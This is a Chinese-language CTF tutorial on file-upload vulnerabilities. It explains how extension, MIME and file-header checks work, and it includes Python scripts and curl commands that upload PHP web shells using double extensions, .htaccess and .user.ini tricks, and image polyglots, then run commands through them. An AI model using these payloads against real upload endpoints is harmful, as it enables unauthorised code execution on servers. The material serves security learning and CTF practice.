文件上传基础
文件上传基础
本文适合
CTF Web安全入门学习者。学完你能:理解文件上传的核心概念和基本用法
文件上传不是"把文件放到网站上"这么简单。一次上传通常涉及浏览器、HTTP 请求、服务端解析、文件保存、路径访问和后续执行权限。Web CTF 里的上传题,经常考这些环节之间的差异。
上传请求长什么样
文件上传常见请求类型是 multipart/form-data。它会把普通字段和文件字段分块发送。
一个简化结构如下:
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----abc
------abc
Content-Disposition: form-data; name="avatar"; filename="a.png"
Content-Type: image/png
文件二进制内容
------abc--这里至少有三个重要信息:字段名、文件名、文件内容。
字段名决定后端从哪个表单字段取文件。文件名可能影响保存后缀。文件内容决定真实类型。
文件名不等于文件类型
a.png 只是客户端提交的名字。服务器如果只看后缀,就可能被伪装绕过。
真实文件类型通常要看文件头,也就是 magic bytes。例如 PNG 常见开头是:
89 50 4E 47 0D 0A 1A 0A但文件头也不等于绝对安全,因为有些格式允许在文件尾或元数据区附加内容。
MIME 不等于真实类型
请求里的 Content-Type: image/png 也是客户端可以控制的。它代表"客户端声称这是图片",不是服务端实际验证结果。
所以上传校验常见有三层:
- 后缀名检查,例如
.jpg、.png。 - MIME 检查,例如
image/png。 - 内容检查,例如文件头、图片宽高、解码是否成功。
CTF 中常见绕过点,就是这些检查只做了一层,或者多层检查结果不一致。
上传成功不等于利用成功
上传成功只表示文件被服务器接收。要进一步形成风险,还要看:
- 文件保存到哪里。
- 保存后的文件名是什么。
- 能不能通过 URL 访问。
- 服务器会不会按脚本执行它。
- 目录是否允许解析动态脚本。
比如上传了 shell.php,但它被保存为随机名,或者保存目录不解析 PHP,那就未必能执行。
WebRoot 和执行权限
如果文件被保存到 WebRoot 下,浏览器可能可以直接访问它。
如果保存目录还允许执行脚本,上传就可能变成代码执行。
如果只能作为静态文件下载,那风险主要变成信息泄露、钓鱼载荷、前端脚本执行或文件解析链问题。
常见 CTF 考点
- 黑名单后缀过滤不完整。
- 大小写后缀绕过。
- 双后缀或解析差异。
- MIME 伪造。
- 图片马或多格式 polyglot。
.user.ini、.htaccess这类配置文件影响解析。- 上传路径可预测。
- 上传后文件名从响应包或目录扫描中泄露。
Content-Type 绕过
import requests
def test_content_type_bypass(upload_url, file_path, filename="shell.php"):
"""测试 Content-Type 绕过"""
# 常见允许的 Content-Type
allowed_types = [
"image/jpeg",
"image/png",
"image/gif",
"image/svg+xml",
"application/octet-stream",
"text/plain",
"application/pdf",
]
with open(file_path, 'rb') as f:
file_content = f.read()
for content_type in allowed_types:
files = {
'file': (filename, file_content, content_type)
}
try:
resp = requests.post(upload_url, files=files)
print(f"Content-Type: {content_type} -> {resp.status_code}")
if resp.status_code == 200 and ("success" in resp.text.lower() or "upload" in resp.text.lower()):
print(f" [!] 上传成功!")
return True
except Exception as e:
print(f" [-] 错误: {e}")
return False
# 使用示例
# test_content_type_bypass("http://target.com/upload", "shell.php")双后缀和扩展名绕过
# 双后缀绕过技巧
double_extension_payloads = [
"shell.php.jpg", # Apache 可能解析为 PHP
"shell.php.png", # 如果只检查最后一个后缀
"shell.php%00.jpg", # Null 字节截断
"shell.php\x00.jpg", # Null 字节
"shell.php.jpg.php", # 双重后缀
"shell.phtml", # 较少过滤的 PHP 扩展名
"shell.php5", # PHP5 扩展名
"shell.pht", # pht 扩展名
"shell.php::$DATA", # Windows NTFS 流 (Windows)
"shell.php::$DATA.jpg", # Windows NTFS 流 + 后缀
"shell.php. ", # 尾部空格
"shell.php.", # 尾部点
"shell.Php", # 大小写
"shell.pHP", # 大小写
"shell.php;.jpg", # 分号截断 (IIS 6.0)
"shell.php.jpg;.jpg", # 分号 + 双后缀
]
# 大小写绕过
case_bypasses = [
"shell.PHP",
"shell.PhP",
"shell.pHp",
"shell.Php",
"shell.pHP",
"shell.PHp",
]
# 其他可执行扩展名
other_exec_extensions = [
".phtml",
".pht",
".php3",
".php4",
".php5",
".php7",
".phar",
".shtml", # 如果启用了 SSI
".asp",
".aspx",
".jsp",
".jspx",
".svg", # 如果服务器解析 SVG 中的脚本
].htaccess 上传利用
# .htaccess 可以改变 Apache 的文件解析规则
# 方法1: 让 .jpg 文件被解析为 PHP
htaccess_content = """
AddType application/x-httpd-php .jpg
"""
# 方法2: 让所有文件都被解析为 PHP
htaccess_content_all = """
SetHandler application/x-httpd-php
"""
# 方法3: 使用 AddHandler
htaccess_handler = """
AddHandler php-script .jpg
"""
# 方法4: 使用 php_value
htaccess_php_value = """
php_value auto_prepend_file /path/to/shell.jpg
"""
def upload_htaccess(upload_url):
"""上传 .htaccess 文件"""
# 先上传 .htaccess
files = {
'file': ('.htaccess', htaccess_content.encode(), 'application/octet-stream')
}
resp = requests.post(upload_url, files=files)
print(f"上传 .htaccess: {resp.status_code}")
# 再上传包含 PHP 代码的图片
jpg_with_php = b"\xff\xd8\xff\xe0" + b"<?php system($_GET['cmd']); ?>"
files = {
'file': ('shell.jpg', jpg_with_php, 'image/jpeg')
}
resp = requests.post(upload_url, files=files)
print(f"上传 shell.jpg: {resp.status_code}").user.ini 上传利用
# .user.ini 是 PHP 的用户级配置文件
# 可以影响同目录下的 PHP 文件
# .user.ini 内容
user_ini_content = """
auto_prepend_file=shell.jpg
"""
# 这会让同目录下的 PHP 文件在执行前先包含 shell.jpg
def upload_user_ini(upload_url):
"""上传 .user.ini 文件"""
# 上传 .user.ini
files = {
'file': ('.user.ini', user_ini_content.encode(), 'application/octet-stream')
}
resp = requests.post(upload_url, files=files)
print(f"上传 .user.ini: {resp.status_code}")
# 上传 shell.jpg (包含 PHP 代码)
shell_content = b"GIF89a" + b"<?php system($_GET['cmd']); ?>"
files = {
'file': ('shell.jpg', shell_content, 'image/gif')
}
resp = requests.post(upload_url, files=files)
print(f"上传 shell.jpg: {resp.status_code}")
# 访问同目录下的任意 PHP 文件即可触发图片马 (Image Polyglot)
import struct
def create_image_polyglot(image_type="gif"):
"""创建图片马"""
if image_type == "gif":
# GIF 文件头 + PHP 代码
gif_header = b"GIF89a"
php_code = b"<?php system($_GET['cmd']); ?>"
# 填充到合法 GIF 结构
content = gif_header + php_code + b"\x00\x3b"
return content
elif image_type == "png":
# PNG 文件结构
png_header = b"\x89PNG\r\n\x1a\n"
# IHDR chunk
ihdr_data = struct.pack(">IIBBBBB", 1, 1, 8, 2, 0, 0, 0)
ihdr_crc = struct.pack(">I", 0) # 简化
ihdr_chunk = struct.pack(">I", 13) + b"IHDR" + ihdr_data + ihdr_crc
# 包含 PHP 代码的 IDAT chunk
php_code = b"<?php system($_GET['cmd']); ?>"
idat_chunk = struct.pack(">I", len(php_code)) + b"IDAT" + php_code + struct.pack(">I", 0)
# IEND chunk
iend_chunk = struct.pack(">I", 0) + b"IEND" + struct.pack(">I", 0)
return png_header + ihdr_chunk + idat_chunk + iend_chunk
elif image_type == "jpg":
# JPEG 文件头 + PHP 代码
jpg_header = b"\xff\xd8\xff\xe0"
php_code = b"<?php system($_GET['cmd']); ?>"
jpg_footer = b"\xff\xd9"
return jpg_header + php_code + jpg_footer
# 使用 exiftool 在图片元数据中嵌入 PHP 代码
# exiftool -Comment='<?php system($_GET["cmd"]);?>' image.jpg上传检测自动化
import requests
import os
def auto_upload_bypass(upload_url, php_code="<?php system($_GET['cmd']); ?>"):
"""自动化上传绕过测试"""
results = []
# 生成各种格式的 payload
payloads = {
"原始PHP": ("shell.php", php_code.encode(), "application/octet-stream"),
"PHP+JPEG头": ("shell.php", b"\xff\xd8\xff\xe0" + php_code.encode(), "image/jpeg"),
"PHP+PNG头": ("shell.php", b"\x89PNG\r\n\x1a\n" + php_code.encode(), "image/png"),
"PHP+GIF头": ("shell.php", b"GIF89a" + php_code.encode(), "image/gif"),
"双后缀": ("shell.php.jpg", php_code.encode(), "image/jpeg"),
"大写PHP": ("shell.PHP", php_code.encode(), "application/octet-stream"),
"phtml": ("shell.phtml", php_code.encode(), "application/octet-stream"),
"PHP5": ("shell.php5", php_code.encode(), "application/octet-stream"),
"空字节": ("shell.php\x00.jpg", php_code.encode(), "image/jpeg"),
".htaccess": (".htaccess", b"AddType application/x-httpd-php .jpg", "application/octet-stream"),
".user.ini": (".user.ini", b"auto_prepend_file=shell.jpg", "application/octet-stream"),
}
for name, (filename, content, content_type) in payloads.items():
try:
files = {'file': (filename, content, content_type)}
resp = requests.post(upload_url, files=files)
status = "成功" if resp.status_code == 200 else f"失败({resp.status_code})"
has_success = "success" in resp.text.lower() or "upload" in resp.text.lower()
results.append(f"{name}: {status} {'[!]' if has_success else ''}")
except Exception as e:
results.append(f"{name}: 错误 - {e}")
return results
# 使用示例
# results = auto_upload_bypass("http://target.com/upload")
# for r in results: print(r)常见误区
- 以为改后缀就是上传漏洞。
- 以为上传成功就是拿 shell。
- 不看响应里的保存路径。
- 只改文件名,不改 MIME 和文件内容。
- 忽略服务端运行环境,例如 PHP、Java、Node、Nginx、Apache 的差别。
一句话判断
应用允许用户上传文件,并且文件名、后缀、MIME、内容、保存路径或解析规则可被影响时,就按文件上传漏洞分析。
上传题的关键不是"上传成功",而是上传后的文件能否被访问、解析、包含、执行或触发其他处理链。
题目中常见信号
- 有头像、附件、图片、报告、压缩包上传功能。
- 响应返回上传路径、随机文件名或访问 URL。
- 只限制后缀、MIME 或文件头中的某一项。
- 上传目录在 WebRoot 下。
- Apache/Nginx/PHP 环境,可能支持
.htaccess、.user.ini、.phtml。 - 图片处理、压缩解压、PDF 生成等二次解析。
- 上传后可和 文件包含、路径穿越 联动。
核心概念
文件上传利用链:
上传安全检查通常有三层:文件名、MIME、文件内容。CTF 题常让其中一层被绕过,或者让服务器解析规则和检查规则不一致。
最小分析流程
- 抓取正常上传请求,确认字段名和 multipart 格式。
- 上传普通图片,记录响应路径和保存文件名。
- 修改后缀,测试黑名单和白名单。
- 修改 MIME,测试是否只信任 Content-Type。
- 修改文件头,测试 magic bytes 检查。
- 访问上传文件,确认是下载、静态展示还是执行。
- 判断服务端环境:PHP、Java、Node、Apache、Nginx、IIS。
- 尝试双后缀、大小写、特殊扩展名、配置文件或图片马。
- 如果不能直接执行,尝试与文件包含、解压、图片解析链联动。
最小验证示例
上传普通图片:
curl -i -X POST http://target/upload \
-F 'file=@avatar.png;type=image/png'测试 MIME 绕过:
curl -i -X POST http://target/upload \
-F 'file=@shell.php;filename=shell.php;type=image/png'测试图片马:
printf 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.php.gif
curl -i -X POST http://target/upload \
-F 'file=@shell.php.gif;type=image/gif'上传后访问:
curl -i 'http://target/uploads/shell.php.gif?cmd=id'如果只返回文件内容而不执行,就说明上传成功但没有代码执行。
常见利用 / 解题路线
路线总览:
路线一:后缀绕过
.php -> .phtml/.php5/.phar/大小写/双后缀路线二:MIME 和文件头绕过
Content-Type: image/png
GIF89a + PHP code
JPEG/PNG 元数据嵌入 payload路线三:解析规则绕过
.htaccess 让 .jpg 按 PHP 解析
.user.ini auto_prepend_file=shell.jpg
Apache 多后缀解析
IIS 分号解析路线四:上传 + 文件包含
上传图片马 -> 找上传路径 -> page=../uploads/shell.jpg -> 执行路线五:二次解析漏洞
图片处理 / 解压缩 / PDF 生成 / Office 解析这类题要看后端调用的具体工具,可能转向 命令注入 或 文件包含。
常见失败原因
- 只看上传成功:必须访问保存后的文件确认行为。
- 保存路径未知:要从响应、源码、目录扫描或文件名规则推断。
- 执行目录禁脚本:上传目录可能只作为静态文件服务。
- MIME 由客户端控制:服务端若重新识别内容,单改 Content-Type 无效。
- 文件头检查更严格:简单
GIF89a不一定能通过真实图片解码。 - 环境判断错:PHP payload 对 Java/Node 服务没有意义。
- 配置文件不生效:
.htaccess需要 Apache 且 AllowOverride 开启,.user.ini需要 PHP-FPM 等条件。
迷你案例
题目只允许上传图片,普通 shell.php 被拒绝。抓包发现服务端只检查文件头和 MIME。
构造:
printf 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.phtml
curl -i -X POST http://target/upload \
-F 'file=@shell.phtml;type=image/gif'响应:
{"url":"/uploads/shell.phtml"}访问:
curl 'http://target/uploads/shell.phtml?cmd=id'如果返回 uid=...,说明:
服务端只校验图片头和 MIME
phtml 扩展在目标环境被 PHP 解析
上传目录可访问且可执行如果不执行,就尝试 .htaccess、.user.ini 或与文件包含联动。WP 要区分"绕过上传校验"和"触发代码执行"两步。